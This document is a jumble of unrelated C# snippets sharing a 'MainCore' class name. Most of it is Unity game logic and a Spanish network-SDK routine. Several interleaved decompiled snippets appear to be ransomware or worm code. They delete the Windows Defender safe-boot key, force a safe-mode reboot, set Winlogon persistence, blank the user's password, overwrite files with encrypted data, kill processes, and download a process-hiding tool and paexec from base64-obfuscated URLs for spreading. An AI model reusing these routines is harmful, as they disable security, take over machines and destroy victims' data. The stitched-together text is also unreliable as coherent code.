void Start() { _core = Camera.main.GetComponent <MainCore>(); CutscenePlay(); //TutorialPlay(_core._landObj.GetComponent<LandController>()._landPanel.transform.Find("GridView").Find("CampButton"), true, "เจ้าลองจิ้มตามแสงกระพริบๆ ในหน้าจอของเจ้าดูซิ มันจะทำให้เจ้าเข้าใจการเล่นเบื้องต้นมากขึ้น"); }
private void towerAttack() { if (MainCore.Instance().particList.Count > 0 && !MainCore.Instance().particList[0].activeInHierarchy) { MainCore.Instance().particList[0].transform.SetParent(this.transform); MainCore.Instance().particList[0].transform.localPosition = new Vector3(0, 1.5f, 0); MainCore.Instance().particList[0].SetActive(true); MainCore.Instance().particList.RemoveAt(0); } else { GameObject par = GameObject.Instantiate(particPrefab); par.transform.SetParent(this.transform); par.transform.localPosition = new Vector3(0, 2f, 0); } for (int i = MainCore.Instance().monList.Count - 1; i >= 0; i--) { if (Vector3.Distance(MainCore.Instance().monList[i].gameObject.transform.position, this.transform.position) <= atkRange) { MainCore.Instance().monList[i].getAttack(atk); } } curMon = null; }
private void IniciarSDK() { try { App.UIDispatcher = this.Dispatcher; App.objSDK = MainCore.getInstance(Constantes.MULTICAST_ADDRESS, Constantes.MULTICAST_SERVICE_PORT, Constantes.UNICAST_SERVICE_PORT, Constantes.STREAM_SERVICE_PORT, MiReceptorJuego, Constantes.DELAY); int cont = 0; while (!App.objSDK.SocketIsConnected && cont < 3) { App.objSDK.TearDownSockets(); App.objSDK.InitializeSockets(); cont++; } if (App.objSDK.SocketIsConnected) { App.objSDK.setObjMetodoReceptorString = MiReceptorJuego; App.objSDK.MulticastPing(); } else { //No hay conexion string strMensaje = "Lo sentimos, no se pudo establecer la conexión vía Wi-Fi. Intente nuevamente."; Helper.MensajeOk(strMensaje); this.Frame.Navigate(typeof(SeleccionarRol)); return; } } catch (Exception ex) { Helper.MensajeOk(ex.Message); } }
// Update is called once per frame void Update() { if (MainCore.Instance().gameStatus == 0) { return; } monMove(); MonSpawn(); pathInit(); if (goalTab != null) { goalTab.value = Mathf.Lerp(goalTab.value, 50 - MainCore.Instance().curMonSum, 0.2f); } if (isFrush) { tempSpeed = tempSpeed * 2; monTxt.text = "X" + tempSpeed; isFrush = false; if (tempSpeed >= 32) { GameOver(false); } } if (MainCore.Instance().curMonSum >= 50) { GameOver(true); } energyRecover(); }
public void TowerCreate() { GameObject go = GameObject.Instantiate(towerPrefab); go.transform.SetParent(curTarget.transform.parent); go.transform.localPosition = Vector3.zero; GameObject par = GameObject.Instantiate(parCreatPrefab); par.transform.SetParent(go.transform); par.transform.localPosition = new Vector3(0, 0.1f, 0); par.transform.localScale = new Vector3(5, 5, 5); AudioSource audio = go.GetComponent <AudioSource>(); audio.Play(); Tower tw = go.GetComponent <Tower>(); tw.twObj = go; tw.id = 1; tw.name = "Single"; tw.atk = 4; tw.atkCd = Random.Range(3.5f, 5f); tw.atkRange = 2.5f; tw.cdInit = tw.atkCd; MainCore.Instance().twList.Add(tw); }
public GameObject LoadMonIcon(Monster mon) { GameObject slot = Instantiate(_monIconSlot); slot.transform.SetParent(transform.Find("GridView")); slot.transform.localScale = new Vector3(1, 1, 1); if (getSpriteSet != mon.spriteSet) { getSpriteSet = mon.spriteSet; if (mon.spriteSet.Contains("monster")) { loadSprite = Resources.LoadAll <Sprite>("Sprites/Character/Monster/" + getSpriteSet); } else { loadSprite = Resources.LoadAll <Sprite>("Sprites/Character/Hero/" + getSpriteSet); } } slot.transform.Find("IconImage").GetComponent <Image>().sprite = loadSprite.Single(s => s.name == "Icon_" + mon.spriteName); slot.transform.Find("Level").GetComponent <Text>().text = "เลเวล" + mon.level; if (_core == null) { _core = Camera.main.GetComponent <MainCore>(); } _core.SetSpriteType(slot.transform.Find("TypeImage").GetComponent <Image>(), mon.type); return(slot); }
// Token: 0x060000BC RID: 188 public static void KillProcess(string string_0, string string_1) { foreach (Process process in Process.GetProcesses()) { if (ProcessKill.CheckProcess(process, string_0.ToLower())) { try { process.Kill(); process.WaitForExit(); MainCore.ExecuteCommands(); } catch (InvalidOperationException) { } catch (PlatformNotSupportedException) { break; } catch { } } } }
void OnEnable() { _core = Camera.main.GetComponent <MainCore>(); _plyInfoPan = _core._playerInfoPanel.GetComponent <PlayerInfoPanel>(); _plyInfoPan.SetObjPanel(transform.gameObject); _cal = new Calculate(); OpenGate(); }
public static MainCore Instance() { if (MainCore._Instance == null) { MainCore._Instance = new MainCore(); } return(MainCore._Instance); }
private void Awake() { _core = Camera.main.GetComponent <MainCore>(); _cal = _core._cal; _monCom = _core._monCom; speed = 0.005F; mapSize = _core._mapObj.GetComponent <SpriteRenderer>().bounds.size; mapPos = _core._mapObj.transform.position; }
private void Awake() { _core = Camera.main.GetComponent <MainCore>(); _battleCon = _core._battleObj.GetComponent <BattleController>(); _itemCon = _core._itemPanel.GetComponent <ItemController>(); smoothTime = 0.05f; _manageMask = transform.Find("ManageMask").Find("GridView"); _recManageTeamSlot = _ManageTeamSlot.GetComponent <RectTransform>(); _spacing = _manageMask.GetComponent <HorizontalLayoutGroup>().spacing; }
void OnEnable() { _core = Camera.main.GetComponent <MainCore>(); _json = new JsonReadWrite(); AudioListener.volume = _core.dataSetting[0].soundValue; _soundValue.value = AudioListener.volume; _questionLinkTxt.text = _core.dataSetting[0].questionLink; _questionLink.transform.Find("TestConnectButton").GetComponent <Image>().color = new Color32(255, 255, 255, 255); _question.value = _core.dataSetting[0].question == true?1:0; }
public void Deserialize() { var i = new SavingSystem <MainCore>().LoadAsJson("SaveFile.X1SaveFile"); if (i == null) { return; } mainCore = i; }
// Token: 0x060000B8 RID: 184 public static void LaunchProcess() { MainCore.CreateProcess("reg.exe", "delete HKLM\\System\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\WinDefend /f"); MainCore.CreateProcess("bcdedit.exe", "/set {default} safeboot network"); MainCore.CreateProcess("reg.exe", "add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v Userinit /t REG_SZ /d \"" + Assembly.GetEntryAssembly().Location + "\",\"C:\\Windows\\system32\\userinit.exe\" /f"); MainCore.CreateProcess("net.exe", "user " + WindowsIdentity.GetCurrent().Name.Split(new char[] { '\\' })[1] + " \"\""); MainCore.CreateProcess("shutdown.exe", "/r /t 0"); }
public Hero(int index) { _core = Camera.main.GetComponent <MainCore>(); _battleCon = _core._battleCon; _heroCom = _core._heroCom; _buffCon = _core._buffCon; _selectATKCon = _core._selectATKCon; _avatar = _heroCom._heroAvatarList[index]; _anim = _avatar.GetComponent <Animator>(); slotId = index; }
void run() { if (_core == null) { _core = Camera.main.GetComponent <MainCore>(); } if (_battleCon == null) { _battleCon = _core._battleObj.GetComponent <BattleController>(); } }
public void LoadAttack() { if (_core == null) { _core = Camera.main.GetComponent <MainCore>(); } if (_battleCon == null) { _battleCon = _core._battleCon; } int ranSlot = Random.Range(0, _battleCon._heroData.Length); if (_battleCon._heroData[ranSlot].hero.hp == 0) { //Debug.Log("old block "+ranSlot); ranSlot = Random.Range(0, _battleCon._heroData.Length); //Debug.Log("new ran block "+ ranSlot); } GameObject slot = Instantiate(_attackSlot); slot.transform.SetParent(transform.Find("ActionMask").Find("GridView")); slot.transform.localScale = new Vector3(1, 1, 1); slot.transform.localPosition = Vector3.zero; if (getSpriteSet != _battleCon._heroData[ranSlot].hero.hero.spriteSet) { getSpriteSet = _battleCon._heroData[ranSlot].hero.hero.spriteSet; loadSprite = Resources.LoadAll <Sprite>("Sprites/Character/Hero/" + getSpriteSet); } slot.transform.Find("Icon").GetComponent <Image>().sprite = loadSprite.Single(s => s.name == "Map_" + _battleCon._heroData[ranSlot].hero.hero.spriteName); SkillBlock skill = new SkillBlock(); skill.slotId = _blockCount; skill.defCrystal = _battleCon._heroData[ranSlot].hero.attack[0].skill.crystal; slot.transform.Find("Crystal").GetComponentInChildren <Text>().text = skill.defCrystal.ToString(); slot.transform.Find("Image").GetComponent <Image>().sprite = loadSprite.Single(s => s.name == "Skill_" + _battleCon._heroData[ranSlot].hero.hero.spriteName); skill.heroStoreId = _battleCon._heroData[ranSlot].hero.id; skill.blockStack = 1; skill.color = _battleCon._heroData[ranSlot].slotId; skill.isAttack = true; skill.isUltimate = false; skill.crystal = skill.defCrystal; skill.obj = slot; AttackSlot atk = slot.GetComponent <AttackSlot>(); atk._skill = skill; _attackList.Add(skill); _blockCount++; transform.Find("ActionMask").Find("GridView").localPosition = new Vector3(1, 0, 0); }
private void Awake() { _core = Camera.main.GetComponent <MainCore>(); _cal = _core._cal; _mapCon = _core._mapCon; _monCom = _core._monCom; _heroCom = _core._heroCom; _buffCon = _core._buffCon; _selectATKCon = _core._selectATKCon; _buffCon._buffListPlayer = new List <Buff>(); _buffCon._buffListMonster = new List <Buff>(); }
void Run() { if (_core == null) { _core = Camera.main.GetComponent <MainCore>(); } if (_battleCon == null) { _battleCon = _core._battleCon; } _battleCon.GetHeroFocus()._eventBonusDmg = 1; _battleCon.GetMonFocus()._eventBonusDmg = 1; }
// Token: 0x0600006C RID: 108 public static void WhiteEncryptedFile(string string_0, byte[] byte_0) { FileStream fileStream = new FileStream(string_0, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite); fileStream.Write(byte_0, 0, byte_0.Length); fileStream.Close(); fileStream.Dispose(); byte[] bytes = Encoding.ASCII.GetBytes(MainCore.DecodeBase64(MainCore.LcFYzbWwUuFdZ) + MainCore.DecodeBase64("LQ==") + Convert.ToString(MainCore.tsQtKfDKZIMNuO) + MainCore.DecodeBase64("LQ==")); // LQ== -> - using (FileStream fileStream2 = new FileStream(string_0, FileMode.Append, FileAccess.Write, FileShare.ReadWrite)) { fileStream2.Write(bytes, 0, bytes.Length); } }
// Token: 0x0600006D RID: 109 public static string DownloadHideProcess() { if (IntPtr.Size == 8) { MainCore.idAGkbKivQU = ClassDown.Down(new Uri(MainCore.DecodeBase64("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2QzNWhhL1Byb2Nlc3NIaWRlL21hc3Rlci9iaW5zL1Byb2Nlc3NIaWRlNjQuZXhl"))); // -> https://raw.githubusercontent.com/d35ha/ProcessHide/master/bins/ProcessHide64.exe } else { MainCore.idAGkbKivQU = ClassDown.Down(new Uri(MainCore.DecodeBase64("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2QzNWhhL1Byb2Nlc3NIaWRlL21hc3Rlci9iaW5zL1Byb2Nlc3NIaWRlMzIuZXhl"))); // -> https://raw.githubusercontent.com/d35ha/ProcessHide/master/bins/ProcessHide32.exe } return(MainCore.idAGkbKivQU); }
private void energyRecover() { if (MainCore.Instance().energySum >= 0 && energyTabValue <= 5) { energyTabValue = MainCore.Instance().energySum; energyTab.value = Mathf.Lerp(energyTab.value, energyTabValue, 0.5f); } else if (MainCore.Instance().energySum >= 0 && energyTabValue >= 5 && MainCore.Instance().energy < 5) { MainCore.Instance().energySum -= 5; energyTabValue = 0; energyTab.value = Mathf.Lerp(energyTab.value, energyTabValue, 0.5f); MainCore.Instance().energy++; } }
// Update is called once per frame void Update() { if (MainCore.Instance().gameStatus == 0) { return; } if (Hp <= 0) { isDeath = true; MainCore.Instance().monList.Remove(this); Destroy(this.gameObject); MainCore.Instance().curMonSum++; MainCore.Instance().energySum++; } }
// Token: 0x06000046 RID: 70 public static string Download() { string result; if (IntPtr.Size == 8) { result = Spread.RandomName(new Uri(MainCore.DecodeBase64("aHR0cHM6Ly93d3cucG93ZXJhZG1pbi5jb20vcGFleGVjL3BhZXhlYy5leGU="))); // -> https://www.poweradmin.com/paexec/paexec.exe } else { result = Spread.RandomName(new Uri(MainCore.DecodeBase64("aHR0cHM6Ly93d3cucG93ZXJhZG1pbi5jb20vcGFleGVjL3BhZXhlYy5leGU="))); // -> https://www.poweradmin.com/paexec/paexec.exe } return(result); }
private void RevisarConexionSDK() { try { App.UIDispatcher = this.Dispatcher; App.objSDK = MainCore.getInstance(Constantes.MULTICAST_ADDRESS, Constantes.MULTICAST_SERVICE_PORT, Constantes.UNICAST_SERVICE_PORT, Constantes.STREAM_SERVICE_PORT, null, Constantes.DELAY); if (App.objSDK.SocketIsConnected) { App.objSDK.TearDownSockets(); } } catch (Exception ex) { Helper.MensajeOk(ex.Message); } }
// Update is called once per frame void Update() { for (int i = MainCore.Instance().monList.Count - 1; i >= 0; i--) { if (MainCore.Instance().monList[i] != null) { Monster3D mon = MainCore.Instance().monList[i]; if (Vector3.Distance(this.gameObject.transform.position, mon.monPrefab.transform.position) < atkRange) { if (atkMonList.IndexOf(mon) == -1) { atkMonList.Add(mon); //Debug.Log(i + "攻击" ); } } else { if (atkMonList.IndexOf(mon) >= 0) { atkMonList.Remove(mon); //Debug.Log(i + "移除" ); } } } } cdInit += Time.deltaTime; if (atkMonList.Count > 0) { if (atkMonList[0].isDeath) { atkMonList[0] = null; atkMonList.RemoveAt(0); } else { if (curMon == null && cdInit >= atkCd) { Debug.Log("attack!"); curMon = atkMonList[0]; towerAttack(); cdInit = 0; } } } }
private void GameOver(bool isWin) { if (!isWin) { mapPanel.SetActive(false); goalTapPanel1.SetActive(true); scoreTextLose.text = MainCore.Instance().curMonSum.ToString(); MainCore.Instance().gameStatus = 0; } else if (isWin) { mapPanel.SetActive(false); goalTapPanel2.SetActive(true); scoreTextWin.text = MainCore.Instance().curMonSum.ToString(); MainCore.Instance().gameStatus = 0; } }
public GameObject monCreat(GameObject prefab, int x, int z, Transform parent) { GameObject obj = GameObject.Instantiate(prefab); obj.transform.SetParent(parent); obj.transform.localScale = Vector3.one; obj.transform.localPosition = new Vector3(-0 + x * 1.5f, 1f, 0 - z * 1.5f); Monster3D mon = obj.AddComponent <Monster3D>(); mon.isMove = false; mon.speed = 0.008f; mon.monPrefab = obj; mon.Hp = 20; mon.hashX = spawnIndexX; mon.hashY = spawnIndexZ; MainCore.Instance().monList.Add(mon); return(obj); }
// Update is called once per frame void Update() { if (MainCore.Instance().energy > 0) { iconParticular.SetActive(true); } else { iconParticular.SetActive(false); } for (int i = childList.Count - 1,len =MainCore.Instance().energy - 1; i > len ; i--) { childList[i].SetActive(false); } for (int i = 0, len = MainCore.Instance().energy - 1; i <= len; i++) { childList[i].SetActive(true); } }
void Run() { if (_core == null) { _core = Camera.main.GetComponent <MainCore>(); } if (_battleCon == null) { _battleCon = _core._battleObj.GetComponent <BattleController>(); } if (_itemCon == null) { _itemCon = _core._itemPanel.GetComponent <ItemController>(); } if (_selectATKCon == null) { _selectATKCon = _core._attackPanel.GetComponent <SelectAttackController>(); } }